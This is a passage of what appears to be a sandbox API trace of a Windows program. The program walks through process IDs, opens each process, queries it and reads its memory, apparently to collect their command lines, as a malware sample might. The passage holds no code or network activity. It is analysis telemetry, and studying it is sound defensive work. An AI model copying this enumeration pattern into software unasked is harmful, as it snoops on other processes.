lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0248.487] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0248.501] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfdc) returned 0x460 [0248.501] GetLastError () returned 0x0 [0248.502] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0248.502] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x3fa018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0248.502] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0248.502] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x4e1d00, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0248.502] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x4e18f8, lpBuffer=0x2dc24fc2d0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0248.503] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0248.505] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0248.505] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x3fa020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0248.505] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x4e12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0248.505] malloc (_Size=0x7a) returned 0x20abc2abdf0 [0248.505] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x4e196a, lpBuffer=0x20abc2abdf0, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2abdf0*, lpNumberOfBytesRead=0x0) returned 1 [0248.506] free (_Block=0x20abc2abdf0) [0248.506] CloseHandle (hObject=0x460) returned 1 [0248.507] _ui64tow_s (in: _Value=0xfe8, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4072") returned 0x0 [0248.510] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4072") returned 4 [0248.511] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0248.511] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0248.636] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfe8) returned 0x460 [0248.637] GetLastError () returned 0x0 [0248.638] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0248.638] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x55b018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0248.638] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0248.638] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x781ce0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0248.639] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7818f8, lpBuffer=0x2dc24fc2d0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0248.640] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0248.641] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0248.641] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x55b020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0248.641] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7812e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0248.642] malloc (_Size=0x6e) returned 0x20abc284f50 [0248.642] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x78195e, lpBuffer=0x20abc284f50, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284f50*, lpNumberOfBytesRead=0x0) returned 1 [0248.642] free (_Block=0x20abc284f50) [0248.643] CloseHandle (hObject=0x460) returned 1 [0248.644] _ui64tow_s (in: _Value=0xff4, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4084") returned 0x0 [0248.648] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4084") returned 4 [0248.649] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0248.649] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0248.663] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xff4) returned 0x460 [0248.663] GetLastError () returned 0x0 [0248.664] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0248.665] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x2a8018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0248.665] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0248.665] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x4a1c80, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0248.665] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x4a18f8, lpBuffer=0x2dc24fc2d0, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0248.666] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0248.668] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0248.668] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x2a8020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0248.668] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x4a12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0248.668] malloc (_Size=0x4e) returned 0x20abc2aa7b0 [0248.668] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x4a193e, lpBuffer=0x20abc2aa7b0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aa7b0*, lpNumberOfBytesRead=0x0) returned 1 [0248.669] free (_Block=0x20abc2aa7b0) [0248.670] CloseHandle (hObject=0x460) returned 1 [0248.670] _ui64tow_s (in: _Value=0xffc, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4092") returned 0x0 [0248.674] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4092") returned 4 [0248.675] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0248.675] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0248.810] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xffc) returned 0x460 [0248.810] GetLastError () returned 0x0 [0248.811] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0248.811] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x257018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0248.811] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0248.812] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x641ce0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0248.812] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x6418f8, lpBuffer=0x2dc24fc2d0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0248.813] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0248.814] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0248.814] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x257020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0248.814] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x6412e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0248.814] malloc (_Size=0x6e) returned 0x20abc284f50 [0248.814] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x64195e, lpBuffer=0x20abc284f50, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284f50*, lpNumberOfBytesRead=0x0) returned 1 [0248.815] free (_Block=0x20abc284f50) [0248.816] CloseHandle (hObject=0x460) returned 1 [0248.816] _ui64tow_s (in: _Value=0xb70, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2928") returned 0x0 [0248.820] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="2928") returned 4 [0248.821] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0248.821] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0248.834] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb70) returned 0x460 [0248.834] GetLastError () returned 0x0 [0248.835] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0248.835] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x3a7018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0248.836] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0248.836] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x521cd0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0248.836] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5218f8, lpBuffer=0x2dc24fc2d0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0248.837] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0248.838] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0248.838] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x3a7020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0248.839] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5212e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0248.839] malloc (_Size=0x68) returned 0x20abc2807d0 [0248.839] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x521958, lpBuffer=0x20abc2807d0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2807d0*, lpNumberOfBytesRead=0x0) returned 1 [0248.840] free (_Block=0x20abc2807d0) [0248.840] CloseHandle (hObject=0x460) returned 1 [0248.981] _ui64tow_s (in: _Value=0x420, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1056") returned 0x0 [0248.986] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="1056") returned 4 [0248.987] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0248.987] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0249.003] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x420) returned 0x460 [0249.003] GetLastError () returned 0x0 [0249.004] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0249.004] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x27e018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0249.005] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0249.005] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x111d10, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0249.005] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x1118f8, lpBuffer=0x2dc24fc2d0, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0249.006] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0249.008] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0249.008] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x27e020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0249.008] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x1112e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0249.008] malloc (_Size=0x7e) returned 0x20abc2ab730 [0249.008] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x11196e, lpBuffer=0x20abc2ab730, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2ab730*, lpNumberOfBytesRead=0x0) returned 1 [0249.009] free (_Block=0x20abc2ab730) [0249.010] CloseHandle (hObject=0x460) returned 1 [0249.011] _ui64tow_s (in: _Value=0xec0, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3776") returned 0x0 [0249.172] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3776") returned 4 [0249.173] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0249.173] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0249.192] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xec0) returned 0x460 [0249.192] GetLastError () returned 0x0 [0249.193] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0249.193] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x2b8018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0249.193] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0249.193] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x531d00, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0249.193] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5318f8, lpBuffer=0x2dc24fc2d0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0249.195] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0249.196] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0249.196] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x2b8020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0249.196] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5312e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0249.196] malloc (_Size=0x7a) returned 0x20abc2ab6a0 [0249.196] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x53196a, lpBuffer=0x20abc2ab6a0, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2ab6a0*, lpNumberOfBytesRead=0x0) returned 1 [0249.197] free (_Block=0x20abc2ab6a0) [0249.197] CloseHandle (hObject=0x460) returned 1 [0249.253] _ui64tow_s (in: _Value=0x1004, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4100") returned 0x0 [0249.256] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4100") returned 4 [0249.257] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x20a, dwMinorVersion=0xbba58122, dwBuildNumber=0x20a, dwPlatformId=0xbc4368f0, szCSDVersion="Ȋ") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0249.257] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0249.271] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1004) returned 0x460 [0249.271] GetLastError () returned 0x0 [0249.272] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0249.272] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x350018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0249.272] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0249.273] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x511d00, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0249.273] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5118f8, lpBuffer=0x2dc24fc2d0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0249.274] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0249.275] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0249.275] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x350020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0249.275] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5112e0, 